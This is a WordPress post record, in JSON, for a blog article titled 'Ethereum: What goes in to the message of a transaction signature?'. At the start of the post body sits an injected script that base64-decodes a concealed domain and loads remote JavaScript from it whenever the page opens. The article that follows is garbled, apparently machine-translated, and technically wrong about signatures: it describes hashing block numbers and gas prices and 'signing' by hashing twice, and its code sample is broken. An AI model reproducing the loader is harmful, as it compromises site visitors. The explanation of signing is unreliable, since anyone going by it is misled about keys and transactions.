{"id":1084,"date":"2025-02-07T23:11:19","date_gmt":"2025-02-07T23:11:19","guid":{"rendered":"https:\/\/hccmena.com\/?p=1084"},"modified":"2025-02-07T23:11:19","modified_gmt":"2025-02-07T23:11:19","slug":"ethereum-what-goes-in-to-the-message-of-a-transaction-signature","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/07\/ethereum-what-goes-in-to-the-message-of-a-transaction-signature\/","title":{"rendered":"Ethereum: What goes in to the message of a transaction signature?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=e25f85c6\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Ethereum: Understand transaction signatures <\/strong><\/p>\n<\/p>\n<p>Creating a new transaction from scratch can be a fascinating experience. To ensure that your signed transaction is valid, we immerse yourself in the components from which a transaction signature consists in Ethereum.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/cVdFRQWokd4\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>transaction structure<\/p>\n<\/p>\n<p>A basic Ethereum transaction consists of three main parts:<\/p>\n<\/p>\n<ul>\n<li><strong> from <\/strong>\n<p><img decoding=\"async\" alt=\"Ethereum: What goes in to the message of a transaction signature?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/a83ca164.png\"><\/p>\n<p>: The address of the sender.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> to <\/strong>: The address of the recipient (optional).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li><strong> value <\/strong>: the amount to be transmitted (in white).<\/li>\n<\/ul>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>transaction signature components<\/p>\n<\/p>\n<p>A transaction signature is a combination of several components that make you manipulate and secure.<\/p>\n<\/p>\n<p><\/p>\n<h4><\/h4>\n<p>1. <br \/><strong> Hash <\/strong><\/p>\n<\/p>\n<p>The first component in the transaction signature is a hash of the following:<\/p>\n<\/p>\n<p><strong>* transaction data <\/strong> (from, to, value)<\/p>\n<\/p>\n<p><strong>* Block number <\/strong> (number of the block that contains the transaction)<\/p>\n<\/p>\n<p><strong>* gas price <\/strong> (gas volume used for processing)<\/p>\n<\/p>\n<p>This hash serves as a clear identifier for the transaction.<\/p>\n<\/p>\n<p><\/p>\n<h4><\/h4>\n<p>2. <br \/><strong> Keccak-256 hash function <\/strong><\/p>\n<\/p>\n<p>The second component is the KECCAK-256-Hash function applied to the above data, which leads to a string with a firm length.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>transaction signature format<\/p>\n<\/p>\n<p>A typical format for Ethereum transaction signatures is:<\/p>\n<\/p>\n<p><code><Transaction_hash> <block_number> <gas_price> <keccak_256_hash ><\/code><code><\/p>\n<\/p>\n<p><\/p>\n<h4><\/h4>\n<p>3. <br \/><strong> Keccak-256 hash <\/strong><\/p>\n<\/p>\n<p>The third component is the KECCAK-256-Hash function applied to the above data, which leads to a string with a fixed length.<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Signature check<\/p>\n<\/p>\n<p>To check a transaction signature, you must create a private key with which the signature decodes and then signed your own transactions or can be created from scratch).<\/p>\n<\/p>\n<p>In Ethereum, most developers use public keys to generate the signature. The library of<\/code>Ethers.js&#8217; offers, for example, a user -friendly surface for creating and checking signatures.<\/p>\n<\/p>\n<p>When creating a new transaction from scratch, you need to:<\/p>\n<\/p>\n<p><strong>* Create the transaction data <\/strong>: Define this from &#8220;,<code>to<\/code> and <code>value<\/code><\/p>\n<\/p>\n<p><strong>* Generate the hash <\/strong>: Use the Keccak-256-Hash function on the transaction data<\/p>\n<\/p>\n<p><strong>* Create the signature <\/strong>: Use the generated hash as input for the Keccak-256-hash function<\/p>\n<\/p>\n<p><strong>* Check the signature <\/strong>: Compare your private signature created by key with the one provided in the transaction (if used)<\/p>\n<\/p>\n<p>Here is a simple example of creating a new Ethereum transaction from the ground up:<\/p>\n<\/p>\n<p>`<code><\/code>JavaScript<\/p>\n<\/p>\n<p>\/\/ Define the transaction data<\/p>\n<\/p>\n<p>Const from = &#8216;0x &#8230;&#8217; \/\/ sender address<\/p>\n<\/p>\n<p>Const to = &#8216;0x &#8230;&#8217; \/\/ recipient address (optional)<\/p>\n<\/p>\n<p>Const value = 10n; \/\/ to be transferred<\/p>\n<\/p>\n<p>\/\/ Create the transactionhash<\/p>\n<\/p>\n<p>Const Txhash = Keccak256 ([from, to, value]);<\/p>\n<\/p>\n<p>\/\/ generate a private key with ethers.js<\/p>\n<\/p>\n<p>Import * as an ether from &#8216;Ether&#8217;;<\/p>\n<\/p>\n<p>\/\/ Create a new provider instance<\/p>\n<\/p>\n<p>Const provider = new ethers.providers.jsonrpcprovider (&#8216;http: \/\/ localhost: 8545&#8217;);<\/p>\n<\/p>\n<p>\/\/ Sign the transaction with your own private key (replace your actual private key).<\/p>\n<\/p>\n<p>const txsignature = waiting provider.sign transaction ({{{{<\/p>\n<\/p>\n<p>  Data: {<\/p>\n<\/p>\n<p>    to: To ,,,<\/p>\n<\/p>\n<p>    Value: value<\/p>\n<\/p>\n<p>  },<\/p>\n<\/p>\n<p>  von: von, von,,<\/p>\n<\/p>\n<p>  Gas: {Gasprice: 200000} \/\/ Adjust gas price as required<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p>console.log (<code>transaction signature: $ {txsignature.rawtransaction}<\/code>);<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Remember this is a basic example, and you should consider implementing additional security measures, such as: B.:<\/p>\n<\/p>\n<p><strong>* Private key management <\/strong>: Save your private key safely (e.g. with a hardware letter bag or a safe memory)<\/p>\n<\/p>\n<p><strong>* Signature check <\/strong>: Use a reliable digital signature algorithm like ECDSA<\/p>\n<\/p>\n<p><strong>* Transaction validation <\/strong>: Check the transaction data and make sure that you match the expected format<\/p>\n<\/p>\n<p>I hope this helps you to understand how you can create and validate Ethereum transactions!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum: Understand transaction signatures Creating a new transaction from scratch can be a fascinating experience. To ensure that your signed transaction is valid, we immerse yourself in the components from which a transaction signature consists in Ethereum. transaction structure A basic Ethereum transaction consists of three main parts: from : The address of the sender. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1084"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1084"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1084\/revisions"}],"predecessor-version":[{"id":1085,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1084\/revisions\/1085"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}